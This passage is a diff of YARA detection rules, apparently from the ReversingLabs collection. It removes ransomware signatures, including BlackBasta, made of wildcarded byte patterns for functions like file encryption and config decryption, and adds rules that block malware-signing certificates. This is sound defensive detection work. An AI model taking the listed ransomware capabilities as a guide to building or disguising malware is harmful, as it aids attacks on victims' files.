?? 8B 30 BF ?? ?? ?? ?? 8A 04 1E 03 F3 46 84 C0 74 ?? 0F BE D0 8D 76 ?? 2C ?? 8B CA - 83 C9 ?? 3C ?? 8A 46 ?? 0F 47 CA 33 CF 69 F9 ?? ?? ?? ?? 84 C0 75 ?? 8B 4D ?? 8B 55 - ?? 81 FF ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 41 83 C0 ?? 89 4D ?? 89 45 ?? 3B 4A - ?? 75 ?? 33 C0 A3 ?? ?? ?? ?? 6A ?? FF D0 5F 5E 5B 8B E5 5D C3 - } - $create_net_host_trav_threads_v2 = { - 55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 56 57 6A ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 64 A1 ?? ?? ?? ?? 83 C4 ?? 8B 40 ?? 50 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? A3 ?? - ?? ?? ?? E8 ?? ?? ?? ?? FF D0 85 C0 78 ?? A1 ?? ?? ?? ?? 8D 0C 85 ?? ?? ?? ?? E8 ?? - ?? ?? ?? A3 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? F0 FF 0D ?? ?? ?? ?? - E8 ?? ?? ?? ?? 8B 35 - } - $fnv1a_hashing_v2 = { - 55 8B EC 83 EC ?? 64 A1 ?? ?? ?? ?? 8B 40 ?? 8B 40 ?? 8B 00 8B 50 ?? A1 ?? ?? ?? ?? - 89 55 ?? 85 C0 0F 85 ?? ?? ?? ?? 85 D2 75 ?? 33 C0 A3 ?? ?? ?? ?? 8B E5 5D C3 8B 42 - ?? 8B 4C 10 ?? 8B 44 10 ?? 89 45 ?? 8D 04 11 89 45 ?? 3B C2 74 ?? 53 33 C9 56 57 89 - 4D ?? 39 48 ?? 74 ?? 8B 78 ?? 03 FA 8B 07 BE - } - $decrypt_configuration_v2_1 = { - 55 8B EC 51 53 56 57 B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 03 C9 83 EA ?? 75 ?? 68 ?? ?? ?? - ?? 68 ?? ?? ?? ?? BA 25 1B 00 00 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? - ?? ?? ?? BA 78 0C 00 00 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? - BA 39 28 00 00 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? BA F1 40 - 00 00 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? BA BF 11 00 00 B9 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? BA 28 02 00 00 B9 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? BA 3B 07 00 00 B9 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? BA A5 04 00 00 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 83 C4 ?? BA 0F 03 00 00 B9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 83 C4 ?? E8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 33 C9 BE ?? ?? ?? ?? 85 FF 74 ?? 8B 15 ?? - ?? ?? ?? 0F 1F 44 00 ?? 80 3C 0A ?? 8D 46 ?? 0F 45 C6 41 8B F0 3B CF 72 ?? 8D 0C B5 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 89 1D ?? ?? ?? ?? 85 DB 74 ?? 33 FF 85 F6 74 ?? 90 - B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 89 04 BB 47 3B FE 72 ?? 8B 0D ?? ?? - ?? ?? 33 F6 E8 ?? ?? ?? ?? 85 C0 74 ?? 0F 1F 80 ?? ?? ?? ?? 8B 14 B3 8A 08 8D 40 ?? - 88 0A 8D 52 ?? 84 C9 75 ?? 33 C9 E8 ?? ?? ?? ?? 46 85 C0 75 ?? C7 04 B3 ?? ?? ?? ?? - 5F 5E 5B 8B E5 5D C3 - } - $decrypt_configuration_v2_2 = { - 55 8B EC 51 53 56 57 8B F2 8B F9 6B CE ?? E8 ?? ?? ?? ?? 8B C8 33 C0 89 4D ?? 85 C9 - 0F 84 ?? ?? ?? ?? 85 F6 74 ?? 83 FE ?? 72 ?? 0F 28 0D ?? ?? ?? ?? 8B CE 83 E1 ?? 66 - 0F 1F 84 00 ?? ?? ?? ?? 0F 10 04 07 66 0F EF C1 0F 11 04 07 0F 10 44 07 ?? 66 0F EF - C1 0F 11 44 07 ?? 0F 10 44 07 ?? 66 0F EF C1 0F 11 44 07 ?? 0F 10 44 07 ?? 66 0F EF - C1 0F 11 44 07 ?? 83 C0 ?? 3B C1 72 ?? 8B 4D ?? 3B C6 73 ?? 80 34 38 5F 40 3B C6 72 - ?? 8B 5D ?? 8B D6 51 53 51 8B CF E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 0B E8 ?? ?? - ?? ?? 8B F8 8B 45 ?? 89 38 8B 45 ?? 85 FF 74 ?? 8B 0B 8B F0 F3 A4 8B C8 BE ?? ?? ?? - ?? E8 ?? ?? ?? ?? 8B C6 5F 5E 5B 8B E5 5D C3 - } - $encrypt_files_v2_p1 = { - 55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 56 57 66 90 64 A1 ?? ?? ?? ?? 0F 57 C0 C7 44 24 - ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 66 0F 13 44 24 ?? 8B 40 ?? 8B 40 ?? 8B 00 8B - 50 ?? A1 ?? ?? ?? ?? 89 54 24 ?? 85 C0 0F 85 ?? ?? ?? ?? 85 D2 0F 84 ?? ?? ?? ?? 8B - 42 ?? 8B 4C 10 ?? 8D 04 11 89 44 24 ?? 3B C2 74 ?? 33 C9 89 4C 24 ?? 39 48 ?? 74 ?? - 8B 40 ?? 03 C2 89 44 24 ?? 0F 1F 80 ?? ?? ?? ?? 8B 30 BF C5 9D 1C 81 8A 04 16 03 F2 - 46 84 C0 74 ?? 0F BE D0 8D 76 ?? 2C ?? 8B CA 83 C9 ?? 3C ?? 8A 46 ?? 0F 47 CA 33 CF - 69 F9 93 01 00 01 84 C0 75 ?? 8B 54 24 ?? 8B 4C 24 ?? 81 FF ?? ?? ?? ?? 74 ?? 8B 74 - 24 ?? 41 8B 44 24 ?? 83 C0 ?? 89 4C 24 ?? 89 44 24 ?? 3B 4E ?? 75 ?? 33 C0 A3 ?? ?? - ?? ?? 6A ?? 8D 4C 24 ?? 51 8D 4C 24 ?? 51 8D 4C 24 ?? 51 FF 35 ?? ?? ?? ?? FF D0 85 - C0 0F 88 ?? ?? ?? ?? 8B 74 24 ?? 85 F6 0F 84 ?? ?? ?? ?? 8B 7C 24 ?? 8B 07 48 83 F8 - ?? 0F 87 ?? ?? ?? ?? FF 24 85 ?? ?? ?? ?? 8B 74 24 ?? 8B 46 ?? 8D 04 48 0F B7 0C 10 - 8B 46 ?? 8D 04 88 8B 04 10 03 C2 EB ?? 83 7F ?? ?? 0F 85 ?? ?? ?? ?? 83 7F ?? ?? 0F - 85 ?? ?? ?? ?? C7 07 ?? ?? ?? ?? 8B 4C 24 ?? 8B 54 24 ?? 68 ?? ?? ?? ?? 6A ?? 8B 41 - ?? 89 42 ?? 8B 41 ?? 89 42 ?? 8B 44 24 ?? 6A ?? 8B 40 ?? 8D 88 ?? ?? ?? ?? F7 D8 23 - C8 8B 44 24 ?? 89 48 ?? 8D 4C 24 ?? 8B 54 24 ?? 8B 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? - 8D 84 24 ?? ?? ?? ?? 6A ?? FF 35 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? - ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 6A ?? - 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? FF 76 ?? FF 76 ?? FF 15 ?? ?? ?? ?? 8B 4E - ?? 8D 44 24 ?? 68 ?? ?? ?? ?? 50 8B 46 ?? 81 C1 ?? ?? ?? ?? 03 C1 50 E8 ?? ?? ?? ?? - 8B 4C 24 ?? 83 C4 ?? 8B 74 24 ?? 89 74 24 ?? 6A ?? 8D 41 ?? 50 FF 71 ?? 8D 41 ?? FF - } - $encrypt_files_v2_p2 = { - 71 ?? 50 51 6A ?? 6A ?? FF 76 ?? E8 ?? ?? ?? ?? FF D0 85 C0 0F 89 ?? ?? ?? ?? 83 C8 - ?? F0 0F C1 46 ?? 0F 85 ?? ?? ?? ?? 6A ?? 6A ?? 56 E8 ?? ?? ?? ?? 8B 46 ?? 83 C4 ?? - 33 FF 85 C0 0F 84 ?? ?? ?? ?? 83 C6 ?? 8B 0E E8 ?? ?? ?? ?? 8B 44 24 ?? 8D 76 ?? 47 - 8B 40 ?? 3B F8 72 ?? 8B 74 24 ?? 85 C0 E9 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 56 ?? 8B C1 - F0 0F B1 0A 83 F8 ?? 75 ?? 8B 46 ?? 89 44 24 ?? 0F B7 46 ?? 83 C0 ?? 8B C8 89 44 24 - ?? E8 ?? ?? ?? ?? 8B F8 85 FF 74 ?? 0F B7 4E ?? 51 FF 76 ?? 8D 4F ?? 51 E8 ?? ?? ?? - ?? 0F B7 46 ?? 83 C4 ?? 89 47 ?? 0F 57 C0 8D 44 24 ?? C6 07 ?? C7 47 ?? ?? ?? ?? ?? - 6A ?? FF 74 24 ?? 66 0F 13 44 24 ?? 57 50 FF 74 24 ?? E8 ?? ?? ?? ?? FF D0 8B CF E8 - ?? ?? ?? ?? 8D 56 ?? 85 F6 0F 84 ?? ?? ?? ?? 83 C8 ?? F0 0F C1 02 0F 85 ?? ?? ?? ?? - 6A ?? 6A ?? 56 E8 ?? ?? ?? ?? 8B 4E ?? 83 C4 ?? C7 44 24 ?? ?? ?? ?? ?? 85 C9 0F 84 - ?? ?? ?? ?? 8D 7E ?? 90 8B 0F E8 ?? ?? ?? ?? 8B 44 24 ?? 8D 7F ?? 8B 4E ?? 40 89 44 - 24 ?? 3B C1 72 ?? E9 ?? ?? ?? ?? 80 3D ?? ?? ?? ?? ?? 8D 56 ?? 74 ?? 8D 8C 24 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 8B 47 ?? 8B 57 ?? 50 50 8D 47 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B - C1 6A ?? EB ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 47 ?? 8D 8C 24 ?? ?? ?? ?? 8B - 57 ?? 50 50 8D 47 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 54 24 ?? 83 C4 ?? 83 7A ?? ?? 8B 42 ?? 0F 8F ?? - ?? ?? ?? 7C ?? 39 42 ?? 0F 87 ?? ?? ?? ?? 8B 74 24 ?? 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? - ?? ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 6A ?? FF 35 ?? ?? ?? - ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? - ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 4E - } - $encrypt_files_v2_p3 = { - 8D 84 24 ?? ?? ?? ?? 83 C4 ?? 81 C1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 8B 46 ?? 03 C1 50 - E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? C7 00 ?? ?? ?? ?? EB ?? 8B 44 24 ?? C7 00 ?? ?? - ?? ?? 8B 4C 24 ?? 8B 74 24 ?? 6A ?? 89 74 24 ?? 8D 41 ?? 50 FF 71 ?? 8D 41 ?? FF 71 - ?? 50 51 6A ?? 6A ?? FF 76 ?? E8 ?? ?? ?? ?? FF D0 85 C0 0F 89 ?? ?? ?? ?? 83 C8 ?? - F0 0F C1 46 ?? 0F 85 ?? ?? ?? ?? 6A ?? 6A ?? 56 E8 ?? ?? ?? ?? 8B 46 ?? 83 C4 ?? 33 - FF 85 C0 0F 84 ?? ?? ?? ?? 83 C6 ?? 8B 0E E8 ?? ?? ?? ?? 8B 44 24 ?? 8D 76 ?? 47 8B - 40 ?? 3B F8 72 ?? 8B 74 24 ?? 85 C0 E9 ?? ?? ?? ?? 83 C8 ?? F0 0F C1 46 ?? 0F 85 ?? - ?? ?? ?? 6A ?? 6A ?? 56 E8 ?? ?? ?? ?? 8B 4E ?? 83 C4 ?? C7 44 24 ?? ?? ?? ?? ?? 85 - C9 0F 84 ?? ?? ?? ?? 8D 7E ?? 66 0F 1F 44 00 ?? 8B 0F E8 ?? ?? ?? ?? 8B 44 24 ?? 8D - 7F ?? 8B 4E ?? 40 89 44 24 ?? 3B C1 72 ?? E9 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 56 ?? 8B - C1 F0 0F B1 0A 83 F8 ?? 75 ?? 8B 46 ?? 89 44 24 ?? 0F B7 46 ?? 83 C0 ?? 8B C8 89 44 - 24 ?? E8 ?? ?? ?? ?? 8B F8 85 FF 74 ?? 0F B7 4E ?? 51 FF 76 ?? 8D 4F ?? 51 E8 ?? ?? - ?? ?? 0F B7 46 ?? 83 C4 ?? 89 47 ?? 0F 57 C0 8D 44 24 ?? C6 07 ?? C7 47 ?? ?? ?? ?? - ?? 6A ?? FF 74 24 ?? 66 0F 13 44 24 ?? 57 50 FF 74 24 ?? E8 ?? ?? ?? ?? FF D0 8B CF - E8 ?? ?? ?? ?? 8D 56 ?? 85 F6 0F 84 ?? ?? ?? ?? 83 C8 ?? F0 0F C1 02 0F 85 ?? ?? ?? - ?? 6A ?? 6A ?? 56 E8 ?? ?? ?? ?? 8B 4E ?? 83 C4 ?? C7 44 24 ?? ?? ?? ?? ?? 85 C9 74 - ?? 8D 7E ?? 8B 0F E8 ?? ?? ?? ?? 8B 44 24 ?? 8D 7F ?? 8B 4E ?? 40 89 44 24 ?? 3B C1 - 72 ?? 85 C9 74 ?? F0 FF 05 ?? ?? ?? ?? F0 FF 0D ?? ?? ?? ?? 8B 46 ?? 85 C0 74 ?? 50 - E8 ?? ?? ?? ?? FF D0 8D 46 ?? 50 E8 ?? ?? ?? ?? FF D0 8B CE E8 ?? ?? ?? ?? E9 ?? ?? - ?? ?? 5F 33 C0 5E 8B E5 5D C2 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yu Bao" and pe.signatures [ i ] . serial == "18:b7:00:a3:19:aa:98:ae:71:b2:79:d4:e8:03:0b:82" and 1479686400 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_169138A86954Be1D9B264F47 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "56653f72-39af-50e7-9908-e516f9b21084" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16926-L16942" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "1584e39b4e2025611bcb7bbbd92b97d25d12ddbb1e5c282db87730a03f7f56b1" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( ( ( $enum_resources_v1 ) and ( all of ( $find_files_v1_* ) ) and ( all of ( $encrypt_files_v1_* ) ) ) or ( ( $check_blacklisted_languages_v2 ) and ( $fnv1a_hashing_v2 ) and ( $create_net_host_trav_threads_v2 ) and ( all of ( $decrypt_configuration_v2_* ) ) and ( all of ( $encrypt_files_v2_p* ) ) ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BIG JOURNEY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "16:91:38:a8:69:54:be:1d:9b:26:4f:47" and 1477636474 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Blackbasta : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_33412168Eeb3C0E4C7Dd0508A9Ffecd5 : INFO FILE { meta: - description = "Yara rule that detects BlackBasta ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "7c451fde-b8b1-5a35-855e-7e30f3e75cbb" - date = "2022-09-01" - modified = "2022-12-13" + id = "db2ae33e-d3af-5200-ad15-824e29434e2c" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.BlackBasta.yara#L1-L531" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16944-L16960" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "c68671e51489af00e9e0cf28373e5ec01bda042653dbcca8843357eede41f27f" + logic_hash = "d634af0637c3349fe1718ee807b8a75007ab46b141494331901a22ce54e9fc5d" score = 75 - quality = 88 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + quality = 90 + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "BlackBasta" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files = { - 53 50 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 75 ?? FF B5 ?? ?? ?? ?? 53 53 57 E8 ?? ?? ?? - ?? 83 C4 ?? 8B F0 38 9D ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8B C6 - E9 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 41 ?? 2B 01 C1 F8 ?? 89 85 ?? ?? ?? ?? 89 9D ?? - ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 - 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? - ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? F7 D8 1B C0 F7 D0 23 85 ?? ?? ?? ?? 80 38 ?? 75 - ?? 8A 48 ?? 84 C9 74 ?? 80 F9 ?? 75 ?? 38 58 ?? 74 ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? - ?? ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 85 C0 75 ?? 38 9D ?? ?? ?? ?? - 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8D 85 ?? ?? ?? ?? 50 56 FF 15 - } - $encrypt_files_v1 = { - 6A ?? E8 ?? ?? ?? ?? 8B F8 89 BD ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B F0 89 B5 ?? ?? - ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B D8 57 E8 ?? ?? ?? ?? 6A ?? 57 56 E8 ?? ?? ?? ?? 8D 4F - ?? 6A ?? 51 53 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 6A - ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 FF B5 ?? ?? ?? ?? 57 53 56 83 EC ?? 8B F4 89 A5 - ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 50 6A ?? 56 8D 4D ?? E8 ?? - ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 50 C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 85 - ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A - ?? FF B5 ?? ?? ?? ?? 57 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? - ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? - ?? ?? E8 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 - ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 - ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 80 BD ?? ?? ?? ?? ?? - 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 - } - $cmd_prompt = { - 8B FF 55 8B EC 83 EC ?? A1 ?? ?? ?? ?? ?? ?? ?? ?? FC 53 56 8B 75 ?? 8D 45 ?? 33 DB - 68 ?? ?? ?? ?? 53 50 89 5D ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 83 F8 ?? 0F 84 ?? - ?? ?? ?? 85 F6 75 ?? 53 39 5D ?? 75 ?? E8 ?? ?? ?? ?? 59 33 C0 E9 ?? ?? ?? ?? FF 75 - ?? E8 ?? ?? ?? ?? FF 75 ?? 8B F0 E8 ?? ?? ?? ?? 33 C0 83 C4 ?? 85 F6 0F 94 C0 E9 ?? - ?? ?? ?? 8B 45 ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 89 75 ?? 89 5D ?? 57 85 C0 74 ?? E8 - ?? ?? ?? ?? 8B 38 E8 ?? ?? ?? ?? 53 89 18 8D 45 ?? 50 FF 75 ?? 53 E8 ?? ?? ?? ?? 83 - C4 ?? 8B F0 E8 ?? ?? ?? ?? 83 FE ?? 74 ?? 89 38 EB ?? 83 38 ?? 74 ?? E8 ?? ?? ?? ?? - 83 38 ?? 74 ?? 83 CE ?? FF 75 ?? E8 ?? ?? ?? ?? 59 EB ?? E8 ?? ?? ?? ?? 89 38 53 8D - 45 ?? B9 ?? ?? ?? ?? 50 51 53 89 4D ?? E8 ?? ?? ?? ?? FF 75 ?? 8B F0 E8 ?? ?? ?? ?? - 83 C4 ?? 8B C6 5F 8B 4D ?? 5E 33 CD 5B E8 ?? ?? ?? ?? C9 C3 53 - } - $ldap_connect = { - C6 45 ?? ?? 8D 45 ?? 83 7D ?? ?? 0F 43 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? - ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B D8 89 5D ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? - 50 6A ?? 53 8B 35 ?? ?? ?? ?? FF D6 C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 53 FF D6 - 6A ?? 53 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 83 C4 ?? - 85 C0 74 ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? - 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 83 C4 ?? - 8B F0 89 75 ?? 8D 45 ?? 50 8D 45 ?? 50 6A ?? 6A ?? 56 53 FF 15 ?? ?? ?? ?? 83 C4 ?? - 85 C0 0F 85 ?? ?? ?? ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 0F 84 ?? - ?? ?? ?? FF 75 ?? 57 53 FF 15 ?? ?? ?? ?? 83 C4 ?? 8B F0 85 F6 0F 84 ?? ?? ?? ?? 8B - 06 85 C0 0F 84 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 45 ?? 50 8B 4D - ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 36 68 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 83 C4 ?? 8B C8 89 4D ?? 8B 01 8B 40 ?? C6 45 ?? ?? 8B 44 08 ?? 8B 58 ?? 89 5D - ?? 8B 03 8B CB FF 50 ?? 83 4D ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 10 6A ?? - 8B C8 FF 52 ?? 0F B7 C0 89 45 ?? 83 65 ?? ?? C6 45 ?? ?? 85 DB 74 ?? 8B 03 8B CB FF - 50 ?? 8B C8 85 C9 74 ?? 8B 01 6A ?? FF 10 8B 45 ?? 50 8B 4D ?? E8 ?? ?? ?? ?? 8B 4D - ?? E8 ?? ?? ?? ?? 8B 5D ?? 56 FF 15 - } - $encrypt_files_v2 = { - 8D 45 ?? 50 6A ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 6A ?? 57 53 FF 75 ?? 83 EC ?? 8B - F4 89 A5 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 50 6A ?? 56 8D 4D - ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 50 C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C4 - ?? 8B 45 ?? 89 45 ?? 6A ?? 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? FF 75 - ?? 57 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8D 45 ?? 50 8D 8D ?? ?? ?? ?? E8 - ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 E8 - ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 8D 85 - ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 - } - $encrypt_files_v3 = { - 6A ?? E8 ?? ?? ?? ?? 8B F8 89 BD ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B F0 89 B5 ?? ?? - ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B D8 57 E8 ?? ?? ?? ?? 6A ?? 57 56 E8 ?? ?? ?? ?? 8D 4F - ?? 6A ?? 51 53 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 6A - ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 6A ?? 57 53 56 83 EC ?? 8B F4 89 A5 ?? ?? ?? ?? - 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 50 6A ?? 56 8D 4D ?? E8 ?? ?? ?? ?? C6 - 45 ?? ?? 8D 85 ?? ?? ?? ?? 50 C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 85 ?? ?? ?? ?? - 89 85 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? FF B5 ?? - ?? ?? ?? 57 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 8D 8D - ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? - ?? ?? ?? 57 E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 53 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? - 83 C4 ?? C6 45 ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C6 45 - ?? ?? 8D 8D ?? ?? ?? ?? E8 - } - 